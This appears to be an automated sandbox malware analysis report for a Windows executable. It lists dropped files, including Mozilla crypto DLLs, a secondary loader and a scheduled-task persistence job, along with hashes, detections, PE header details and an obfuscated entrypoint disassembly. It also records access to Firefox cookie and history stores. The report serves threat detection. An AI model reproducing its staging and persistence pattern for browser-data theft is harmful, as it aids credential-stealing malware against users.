Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe, Detection: malicious, Browse Filename: i3NmF0obCm.exe, Detection: malicious, Browse Filename: Wf9qnVcbi8.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: 1719859269.0326595_setup.exe, Detection: malicious, Browse Filename: jlO7971vUz.exe, Detection: malicious, Browse Filename: Rnteb46TuM.exe, Detection: malicious, Browse Filename: 1jPL5zru3u.exe, Detection: malicious, Browse Filename: Zachv5lCuu.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1945600
Entropy (8bit):	7.9493977630928905
Encrypted:	false
SSDEEP:	49152:5KUUooIdqmOz5xHgj7fy/hpZvgp0uWMKKjoAQEJT9A7:jlqlxHb94p0uWMKdJEnA7
MD5:	6736102416370F08E14B120D5410FA2C
SHA1:	C24AFEC979AB51111F7E5320229EA75E8B67ED35
SHA-256:	FF3384B68D9BFA3FBF73E71DBD2536CF03D6D9B05E843028EAB0824A7EEE8C88
SHA-512:	AFD754DEEB9513B3C7C356B9C891C43E4B5DB1B214B222A5037219C831DFA34F8676AEB977E0A254E87627A4FD2ECC3CE701A540B6D635FDD90C164507041B04
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................L...........@...........................M...........@.................................X...l...........................D.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...kaaoivdf..... 2.....................@...tgaboymz......L.....................@....taggant.0....L.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2530304
Entropy (8bit):	7.980868769336266
Encrypted:	false
SSDEEP:	49152:CjwLPhO1wZ6bIIfTzOhrYI+ieeK/DdHIiWShl/hgH/jVwE+D6+eWuI:CjmP4wAbIIfTiz+iz+dDNuH/mW3
MD5:	8369D155DA8C3F7BCEA8490D36F2F114
SHA1:	3D7FC15294497E6AF579BDF8343EAE47A05AE2C2
SHA-256:	2EA252FC14BD9190E6A6D57B8F2ECB7870A4EECF01ACFBBA9D0F698838F03FE8
SHA-512:	81AFCB035C63110ED2CC845AC77472A54EBB6ECC939D8DCADC9E0640BEC1D9914775F16AA113A681D171C0F3AB3AD73BFB7F646796476233B3D7CC867D0AA47A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!..................@.......................................@... .. .... .. .......... ..0...P.........................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............x...#..(..................@....data....p"......h"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2530304
Entropy (8bit):	7.980868769336266
Encrypted:	false
SSDEEP:	49152:CjwLPhO1wZ6bIIfTzOhrYI+ieeK/DdHIiWShl/hgH/jVwE+D6+eWuI:CjmP4wAbIIfTiz+iz+dDNuH/mW3
MD5:	8369D155DA8C3F7BCEA8490D36F2F114
SHA1:	3D7FC15294497E6AF579BDF8343EAE47A05AE2C2
SHA-256:	2EA252FC14BD9190E6A6D57B8F2ECB7870A4EECF01ACFBBA9D0F698838F03FE8
SHA-512:	81AFCB035C63110ED2CC845AC77472A54EBB6ECC939D8DCADC9E0640BEC1D9914775F16AA113A681D171C0F3AB3AD73BFB7F646796476233B3D7CC867D0AA47A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!..................@.......................................@... .. .... .. .......... ..0...P.........................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............x...#..(..................@....data....p"......h"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1945600
Entropy (8bit):	7.9493977630928905
Encrypted:	false
SSDEEP:	49152:5KUUooIdqmOz5xHgj7fy/hpZvgp0uWMKKjoAQEJT9A7:jlqlxHb94p0uWMKdJEnA7
MD5:	6736102416370F08E14B120D5410FA2C
SHA1:	C24AFEC979AB51111F7E5320229EA75E8B67ED35
SHA-256:	FF3384B68D9BFA3FBF73E71DBD2536CF03D6D9B05E843028EAB0824A7EEE8C88
SHA-512:	AFD754DEEB9513B3C7C356B9C891C43E4B5DB1B214B222A5037219C831DFA34F8676AEB977E0A254E87627A4FD2ECC3CE701A540B6D635FDD90C164507041B04
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................L...........@...........................M...........@.................................X...l...........................D.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...kaaoivdf..... 2.....................@...tgaboymz......L.....................@....taggant.0....L.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1945600
Entropy (8bit):	7.9493977630928905
Encrypted:	false
SSDEEP:	49152:5KUUooIdqmOz5xHgj7fy/hpZvgp0uWMKKjoAQEJT9A7:jlqlxHb94p0uWMKdJEnA7
MD5:	6736102416370F08E14B120D5410FA2C
SHA1:	C24AFEC979AB51111F7E5320229EA75E8B67ED35
SHA-256:	FF3384B68D9BFA3FBF73E71DBD2536CF03D6D9B05E843028EAB0824A7EEE8C88
SHA-512:	AFD754DEEB9513B3C7C356B9C891C43E4B5DB1B214B222A5037219C831DFA34F8676AEB977E0A254E87627A4FD2ECC3CE701A540B6D635FDD90C164507041B04
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................L...........@...........................M...........@.................................X...l...........................D.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...kaaoivdf..... 2.....................@...tgaboymz......L.....................@....taggant.0....L.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4524351194590004
Encrypted:	false
SSDEEP:	6:aUG2tX4RKUEZ+lX1QYShMl6lm6tPjgsW2YRZuy0l1/Nt0:O2Z4RKQ13vg7jzvYRQV1lt0
MD5:	26715ADE7A3E8C09E58DB69E9ABABE49
SHA1:	D9A8054AE2991426B7750F6C2434448DD7E37A10
SHA-256:	4FE3F9B9BB9A90780DF0BBC53470F09DEB95EBCD7D77321FE0F575C58B5D53DD
SHA-512:	A658ED92AF3D3351E70600BEF37B20B22100E660FCEC44107BEE1746C2C14D7D1A614D6F1A48D53D061B6FDA63EA866A7E9D28DD75B140BFCACE9AB877A41D38
Malicious:	false
Preview:	....0r....SH..I.5.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462957092693348
Encrypted:	false
SSDEEP:	6144:AIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:FXD94+WlLZMM6YFHg+n
MD5:	6C3E8EFE7B816FCB3D25B0131763EB5C
SHA1:	F4A7EB069147E673B1C75C44C1799D38DDDCD1B8
SHA-256:	BCB90F429C4E6403B8B8C02C8292540DBDC4C1E3E2322EB89DC4E708CA90A31E
SHA-512:	BCDD1A27793A741604098CA30223C00581115C62339AA2AD03B8D3BD9A1DA34DB9A8E80B6E38B8E644DEF516DDBB41796E02BAD2EFB47B67E5C7E62562EEB05C
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.Krj..................................................................................................................................................................................................................................................................................................................................................d^........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.980868769336266
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'530'304 bytes
MD5:	8369d155da8c3f7bcea8490d36f2f114
SHA1:	3d7fc15294497e6af579bdf8343eae47a05ae2c2
SHA256:	2ea252fc14bd9190e6a6d57b8f2ecb7870a4eecf01acfbba9d0f698838f03fe8
SHA512:	81afcb035c63110ed2cc845ac77472a54ebb6ecc939d8dcadc9e0640bec1d9914775f16aa113a681d171c0f3ab3ad73bfb7f646796476233b3d7cc867d0aa47a
SSDEEP:	49152:CjwLPhO1wZ6bIIfTzOhrYI+ieeK/DdHIiWShl/hgH/jVwE+D6+eWuI:CjmP4wAbIIfTiz+iz+dDNuH/mW3
TLSH:	5EC5333716A96961D19AF33731B486E078AD7B1CA7F16E7939BBF3B05C221404E0B8D0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xfef2e0
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x668341F6 [Mon Jul 1 23:55:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F0F38B6AF3Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BEF2E0h
jmp 00007F0F38B6AF39h
xor eax, B857DCF9h
loopne 00007F0F38B6AF24h
mov esi, 81C50300h
ror byte ptr [eax+eax+00h], 00000000h
mov ecx, 000005B1h
mov edx, 2DDB4A4Bh
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F0F38B6AF2Ch
jmp 00007F0F38B6AF39h
inc ebp
std
retf
push FFFFFFC0h
xchg al, al
retn 4B77h
dec ebx
dec ebx
retf B38Ah
dec ebx
dec ebx
dec ebx
dec eax
xchg bl, dh
dec edi
dec ebx
dec ebx
dec ebx
int1
arpl word ptr [ebx+4Bh], cx
dec ebx
mov esp, C08348A9h
retf 4B47h
dec ebx
dec ebx
dec eax
mov ds, word ptr [ebx]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9cd020	0xf30	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9cdf50	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9cd000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
